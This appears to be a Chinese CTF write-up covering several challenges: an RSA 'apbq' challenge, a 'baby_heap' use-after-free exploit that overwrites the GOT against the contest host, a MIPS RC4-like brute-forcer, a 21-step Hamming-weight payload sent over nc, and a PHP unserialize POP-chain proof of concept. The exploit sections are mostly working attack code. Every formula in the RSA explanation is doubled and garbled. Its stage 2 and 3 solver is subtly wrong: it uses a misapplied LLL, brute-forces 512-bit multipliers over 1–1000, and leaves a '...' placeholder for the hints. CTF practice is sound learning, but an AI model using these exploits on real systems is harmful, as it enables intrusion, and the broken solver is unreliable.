21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
┃ public key = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
┃ enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
----------------------
┃ stage 3: a*p + q, p + bq
┃ hints = (68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037, 117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
┃ public key = (94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581, 65537)
┃ enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
from Crypto.Util.number import *
from secrets import flag
from math import ceil
import sys
class RSA():
def __init__(self, privatekey, publickey):
self.p, self.q, self.d = privatekey
self.n, self.e = publickey
def encrypt(self, plaintext):
if isinstance(plaintext, bytes):
plaintext = bytes_to_long(plaintext)
ciphertext = pow(plaintext, self.e, self.n)
return ciphertext
def decrypt(self, ciphertext):
if isinstance(ciphertext, bytes):
ciphertext = bytes_to_long(ciphertext)
plaintext = pow(ciphertext, self.d, self.n)
return plaintext
def get_keypair(nbits, e = 65537):
p = getPrime(nbits//2)
q = getPrime(nbits//2)
n = p * q
d = inverse(e, n - p - q + 1)
return (p, q, d), (n, e)
if __name__ == '__main__':
pt = './output.txt'
fout = open(pt, 'w')
sys.stdout = fout
block_size = ceil(len(flag)/3)
flag = [flag[i:i+block_size] for i in range(0, len(flag), block_size)]
e = 65537
print(f'[+] Welcome to my apbq game')
# stage 1
print(f'┃ stage 1: p + q')
prikey1, pubkey1 = get_keypair(1024)
RSA1 = RSA(prikey1, pubkey1)
enc1 = RSA1.encrypt(flag[0])
print(f'┃ hints = {prikey1[0] + prikey1[1]}')
print(f'┃ public key = {pubkey1}')
print(f'┃ enc1 = {enc1}')
print(f'----------------------')
# stage 2
print(f'┃ stage 2: ai*p + bi*q')
prikey2, pubkey2 = get_keypair(1024)
RSA2 = RSA(prikey2, pubkey2)
enc2 = RSA2.encrypt(flag[1])
kbits = 180
a = [getRandomNBitInteger(kbits) for i in range(100)]
b = [getRandomNBitInteger(kbits) for i in range(100)]
c = [a[i]*prikey2[0] + b[i]*prikey2[1] for i in range(100)]
print(f'┃ hints = {c}')
print(f'┃ public key = {pubkey2}')
print(f'┃ enc2 = {enc2}')
print(f'----------------------')
# stage 3
print(f'┃ stage 3: a*p + q, p + bq')
prikey3, pubkey3 = get_keypair(1024)
RSA3 = RSA(prikey3, pubkey3)
enc3 = RSA2.encrypt(flag[2])
kbits = 512
a = getRandomNBitInteger(kbits)
b = getRandomNBitInteger(kbits)
c1 = a*prikey3[0] + prikey3[1]
c2 = prikey3[0] + b*prikey3[1]
print(f'┃ hints = {c1, c2}')
print(f'┃ public key = {pubkey3}')
print(f'┃ enc3 = {enc3}')
阶段 1: p+qp+q
在第一阶段中,我们获得了以下信息:
- 模数 n=p⋅qn=p⋅q
- 提示 p+qp+q
根据已知信息,我们可以构造一个关于 pp 和 qq 的二次方程:
t2−(p+q)t+pq=0t2−(p+q)t+pq=0
代入 p+q=xp+q=x 和 pq=npq=n,方程变为:
t2−xt+n=0t2−x**t+n=0
通过求解这个二次方程的根,我们可以使用求根公式:
t=x±x2−4n2t=2x±x2−4n
得到两个根 pp 和 qq。一旦确定 pp 和 qq,接着可以计算 ϕ(n)ϕ(n):
ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1)
然后计算私钥 dd:
d≡e−1(modϕ(n))d≡e−1(modϕ(n))
阶段 2: ai⋅p+bi⋅qa**i⋅p+b**i⋅q
在第二阶段,我们得到了多个线性组合形式的提示:
ci=ai⋅p+bi⋅q,对于 i=1,2,…,100c**i=a**i⋅p+b**i⋅q,对于 i=1,2,…,100
这些方程组成了一个线性方程组,我们可以将其表示为矩阵形式,设想我们有矩阵 AA 和向量 xx 和 bb:
A=(a1b1a2b2⋮⋮a100b100),x=(pq),b=(c1c2⋮c100)A=a1a2⋮a100b1b2⋮b100,x=(p**q),b=c1c2⋮c100
我们可以通过解线性方程组 Ax=bAx=b 来恢复 pp 和 qq。如果 AA 的秩为 2,则该方程组有唯一解。
阶段 3: a⋅p+qa⋅p+q 和 p+b⋅qp+b⋅q
在第三阶段,我们获得了两个线性方程:
c1=a⋅p+qc1=a⋅p+q
c2=p+b⋅qc2=p+b⋅q
将这两个方程表示为矩阵形式:
(a11b)(pq)=(c1c2)(a11b)(p**q)=(c1c2)
同样地,我们可以通过求解这个 2×22×2 的线性方程组来恢复 pp 和 qq。
总结
通过上述步骤,我们可以逐步恢复每一阶段的 RSA 密钥参数,最终通过已知的加密消息 cc 和计算出的私钥 dd,使用以下公式进行解密:
m=cdmod nm=c**dmodn
整个解密过程依赖于数论和线性代数的交叉应用,通过利用已知结构和线性关系有效地恢复原始消息。
from crypto.Util.number import *
from gmpy2 import isqrt
def solve_stage1(n, e, ct, pq_sum):
"""
Solve stage 1 where we have p + q
Using: n = p*q and p + q = pq_sum
"""
# Using the quadratic equation: x^2 - (p+q)x + n = 0
# where p+q is known and n is known
a = 1
b = -pq_sum
c = n
# Quadratic formula
discriminant = b * b - 4 * a * c
p = (-b + isqrt(discriminant)) // 2
q = n // p
# Verify our solution
assert p * q == n
assert p + q == pq_sum
# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)
def solve_stage2(n, e, ct, hints):
"""
Solve stage 2 where we have multiple equations of form: ai*p + bi*q = ci
Using LLL to find small solutions
"""
from sage.all import Matrix, ZZ, vector
# We'll use 2 equations for simplicity
a1, a2 = hints[0], hints[1] # These are the results (a*p + b*q)
# Create matrix for LLL
B = Matrix(ZZ, 4, 4)
B[0, 0] = n
B[1, 1] = n
B[2, 2] = 1
B[3, 3] = 1
B[0, 2] = a1
B[1, 3] = a2
# Run LLL
L = B.LLL()
# Search for small vectors that give us p and q
for row in L:
k1, k2, t1, t2 = row
candidate_p = abs(t1)
if candidate_p > 1 and n % candidate_p == 0:
p = candidate_p
q = n // p
if isPrime(p) and isPrime(q):
# Verify our solution
assert p * q == n
# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)
return None
def solve_stage3(n, e, ct, hint1, hint2):
"""
Solve stage 3 where we have: a*p + q and p + b*q
"""
# Let's call hint1 = a*p + q and hint2 = p + b*q
# We can solve this system of equations:
# hint1 = a*p + q
# hint2 = p + b*q
# From hint1: q = hint1 - a*p
# Substitute into hint2:
# hint2 = p + b*(hint1 - a*p)
# hint2 = p + b*hint1 - a*b*p
# p*(1 - a*b) = hint2 - b*hint1
# p = (hint2 - b*hint1)/(1 - a*b)
# Try different values for a and b
for a in range(1, 1000):
for b in range(1, 1000):
if (1 - a * b) == 0:
continue
p = (hint2 - b * hint1) // (1 - a * b)
if n % p == 0:
q = n // p
if isPrime(p) and isPrime(q):
# Verify solution
assert p * q == n
# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)
return None
# Parse inputs
n1, e = (
89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589,
65537)
ct1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
pq_sum = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
# Run solvers
print("[+] Stage 1 solution:")
flag_part1 = solve_stage1(n1, e, ct1, pq_sum)
print(flag_part1)
print("\n[+] Stage 2 solution:")
n2 = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
ct2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
hints2 = [int(x) for x in "...".split(',')] # List of 100 equations
flag_part2 = solve_stage2(n2, e, ct2, hints2)
print(flag_part2)
print("\n[+] Stage 3 solution:")
n3 = 94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581
ct3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
hint3_1, hint3_2 = (
68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037,
117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
flag_part3 = solve_stage3(n3, e, ct3, hint3_1, hint3_2)
print(flag_part3)
最后拼接flag即可
baby_heap
猜猜是不是uaf,打开一看很好啊很好.

运行分析

IDA分析 看看函数功能和隐藏内容

uaf

任意地址写

from pwn import *
#p = process('./pwn')
p = remote("39.106.63.28",20491)
libc = ELF('./libc-2.35.so')
rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
pl=lambda *args:print(*args)
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')
def malloc(size):
sla(': ','1')
sla('e ',str(size))
def free(idx):
sla(': ', '2')
sla(': ', str(idx))
def show(idx):
sla(': ', '4')
sla(': \n', str(idx))
ru('here \n')
malloc(0x700)
malloc(0x10)
free(1)
show(1)
libc_base_addr = u64(p.recv(8))-0x21ace0
got = libc_base_addr + 0x00000000021A118
sla(': ', '0')
sd(p64(got))
sd(p64(libc_base_addr+libc.symbols['puts']))
sla(': ', '5')
sl('2')
ia()
运行之后不用输命令就会跳出flag
但是这里我很奇怪怎么打本地都打不通,打远程就可以
mips
主要加密在emu里面,是一个类似于rc4加密的加密,找到加密的地址,有花指令恢复一下函数

恢复完成,经过动态调试后发现xor_data是动态的,一直调试不清楚,这里面我们选择爆破

import numpy as np
deadbeef = bytearray([0xDE, 0xAD, 0xBE, 0xEF])
def enc(input_bytes, xor):
SBox = bytearray([
0x36, 0x68, 0x32, 0x44, 0x12, 0x61, 0x6f, 0xdf,
0xba, 0xe9, 0x98, 0x28, 0x3d, 0xa8, 0xe6, 0x1e,
0x4d, 0xf2, 0xb1, 0x7e, 0xc2, 0x6a, 0x96, 0x8c,
0x37, 0x19, 0x14, 0x42, 0xa2, 0x11, 0xe5, 0x5b,
0x9d, 0x23, 0x3, 0x83, 0xf8, 0xd8, 0x9, 0x8a,
0x3c, 0x7d, 0x1a, 0x46, 0x49, 0xdc, 0x76, 0x63,
0x3e, 0x4, 0x9a, 0xc, 0x43, 0x4b, 0x72, 0x5f,
0x53, 0x21, 0x74, 0x66, 0x4f, 0xa7, 0xf6, 0x7b,
0x94, 0xa3, 0x47, 0x8f, 0xf4, 0x52, 0x2a, 0x89,
0x30, 0x33, 0x27, 0x2c, 0xf5, 0x75, 0x17, 0x79,
0x5e, 0x7f, 0x9c, 0xcb, 0x55, 0xbb, 0x60, 0x38,
0xb8, 0xd2, 0xd4, 0x8b, 0xbf, 0x1f, 0x41, 0x45,
0x0, 0x82, 0x69, 0x40, 0xe1, 0x9f, 0xe2, 0xd3,
0x4a, 0x1c, 0x71, 0x62, 0x18, 0x24, 0x97, 0x84,
0xa, 0x8e, 0x3f, 0xf, 0x1, 0x86, 0xe, 0x67,
0xc9, 0x99, 0x88, 0xb0, 0x6e, 0x54, 0x92, 0xef,
0x9b, 0xd5, 0xa5, 0xb, 0xdd, 0xbd, 0xae, 0xcc,
0xc8, 0x3a, 0x65, 0x56, 0xe0, 0xf1, 0x6, 0x1b,
0xfa, 0xbc, 0xc4, 0x91, 0xc1, 0x2e, 0x13, 0xf0,
0x58, 0xee, 0xac, 0xec, 0xa6, 0x26, 0x39, 0xb5,
0xaf, 0xc3, 0x10, 0x5a, 0xd, 0x5d, 0x29, 0x15,
0x6b, 0x50, 0xb2, 0xfe, 0xaa, 0x90, 0xa9, 0x51,
0xd0, 0xb6, 0xc6, 0x34, 0xfc, 0xa0, 0xb3, 0x35,
0xea, 0x7, 0xa4, 0x22, 0x80, 0x6d, 0x81, 0x57,
0x87, 0x25, 0xc7, 0x4c, 0xd6, 0xce, 0x77, 0xd7,
0xad, 0x78, 0x7a, 0x85, 0xa1, 0xf3, 0xe8, 0x5c,
0x73, 0x48, 0xda, 0x31, 0x4e, 0x2d, 0x93, 0x16,
0x2, 0x70, 0x1d, 0xfb, 0xcd, 0xe3, 0xf7, 0x64,
0xf9, 0xc5, 0x8, 0x9e, 0x95, 0x2b, 0xe4, 0x20,
0xd1, 0xfd, 0x7c, 0x2f, 0xbe, 0xb9, 0xdb, 0xde,
0xe7, 0xd9, 0x3b, 0xeb, 0xff, 0xb7, 0xca, 0xb4,
0x5, 0xc0, 0xab, 0xcf, 0xed, 0x6c, 0x8d, 0x59
])
v7 = 0
v8 = 0
v14 = bytearray(256)
for j in range(22):
v12 = SBox[v7 + 1]
v8 += v12
SBox[v7], SBox[v8] = SBox[v8], SBox[v7]
v3 = ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) << 6
v3 ^= 0x0FFFFFFC0
v3 |= ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) & 0xff >> 2
v3 ^= 0x3B
v3 ^= 0x0FFFFFFBE
temp = ((v3 << 5) | (v3 >> 3)) ^ 0xFFFFFFAD & 0xff
temp2 = ((temp << 4) | (temp >> 4)) ^ 0x0FFFFFFDE & 0xff
temp3 = (temp2 << 3) | (temp2 >> 5)
v14[j] = SBox[(SBox[v7] + v12) & 0xff] ^ deadbeef[j & 3] ^ temp3
for i in range(22):
v14[i] ^= xor
return v14[:22]
def bomp():
input_bytes = bytearray("flag{*********************}", 'utf-8')
result = bytearray([
0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
])
result[7], result[11] = result[11], result[7]
result[12], result[16] = result[16], result[12]
for k in range(256):
for i in range(22):
for j in range(256):
input_bytes[5 + i] = j
encrypted = enc(input_bytes, k)
if result[i] == encrypted[i]:
print(chr(j), end='')
break
else:
print("?", end='')
print()
bomp()
21_steps
import re
import random
from secrets import flag
print(f'Can you weight a 128 bits number in 21 steps')
pattern = r'([AB]|\d+)=([AB]|\d+)(\+|\-|\*|//|<<|>>|&|\^|%)([AB]|\d+)'
command = input().strip()
assert command[-1] == ';'
assert all([re.fullmatch(pattern, i) for i in command[:-1].split(';')])
step = 21
for i in command[:-1].split(';'):
t = i.translate(str.maketrans('', '', '=AB0123456789'))
if t in ['>>', '<<', '+', '-', '&', '^']:
step -= 1
elif t in ['*', '/', '%']:
step -= 3
if step < 0:exit()
success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
A = random.randrange(0, 2**128)
wa = w(A)
B = 0
try : exec("global A; global B;" + command)
except : exit()
if A == wa:
success += 1
if success == 100:
print(flag)
先是搞了一个白名单,然后这里继续看规则
step = 21
for i in command[:-1].split(';'):
t = i.translate(str.maketrans('', '', '=AB0123456789'))
if t in ['>>', '<<', '+', '-', '&', '^']:
step -= 1
elif t in ['*', '/', '%']:
step -= 3
if step < 0:exit()
- 如果操作符是
>>、<<、+、-、&或^,则将step减少1。 - 如果操作符是
*、/或%,则将step减少3。
success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
A = random.randrange(0, 2**128)
wa = w(A)
B = 0
try : exec("global A; global B;" + command)
except : exit()
if A == wa:
success += 1
这段代码的目的是在循环中随机生成128位的数 A,计算其汉明重量,只要进行100次的循环都成功即可,构造payload
B=A>>1;
B=B&113427455640312821154458202477256070485;
A=A-B;
B=A&68056473384187692692674921486353642291;
A=A>>2;
A=A&68056473384187692692674921486353642291;
A=A+B;
B=A>>4;
A=A+B;
A=A&20016609818878733144904388672456953615;
B=A>>8;
A=A+B;
B=A>>16;
A=A+B;
B=A>>32;
A=A+B;
B=A>>64;
A=A+B;
A=A&127;
root@dkcjbRCL8kgaNGz:~# nc 39.106.63.28 32807
Can you weight a 128 bits number in 21 steps
B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;A=A+B;A=A&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;
flag{you_can_weight_it_in_21_steps!}
Password Game
您不满足 Rule 1: 请至少包含数字和大小写字母
1Ab
您不满足 Rule 2: 密码中所有数字之和必须为18的倍数
18Qa
Rule 2: 密码中所有数字之和必须为30的倍数
540Qa
您不满足 Rule 2: 密码中所有数字之和必须为20的倍数
5150Qa
您不满足 Rule 2: 密码中所有数字之和必须为28的倍数
54019Qa
密码中所有数字之和必须为12的倍数
54519Qa
您不满足 Rule 2: 密码中所有数字之和必须为14的倍数
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
pop链子
user::destruct->guest::toString->user::invoke->guest::call
但是写了一下好像是打不通的
看了朋友的wp同时和大家交流发现可以这么打通,首先,要求哪里不一定非要写脚本打,可以直接抓包拿到源码,拿到源码之后再次分析链子,发现还是不够会想,一般的反序列化头头都是destruct
而这里是get,如何进入呢

那也就是我们只要被解析的最外面的类没有password就可以进入get
root::get->user::destruct
写个poc
<?php
class root{
public $username;
public $value;
}
class user{
public $username;
public $password;
public $value;
}
$a=new root();
$a->username=new user();
$a->username->username="2024qwb";
$a->value=&$a->username->username;
$b=serialize($a);
$c=str_replace('s:7:"2024qwb"','S:7:"2024\\71wb"',$b);
echo $c;
引用赋值两个值都会改变(好久没用快忘了),记得换成S,不然无效,不清楚过程的可以调试一下
0x03 小结
web题主要就是卡在了路由的地方,代审的题目呢,不是很简单,黑盒呢,测得非常难受,不过一有回显我就会非常激动哈哈,开心:happy: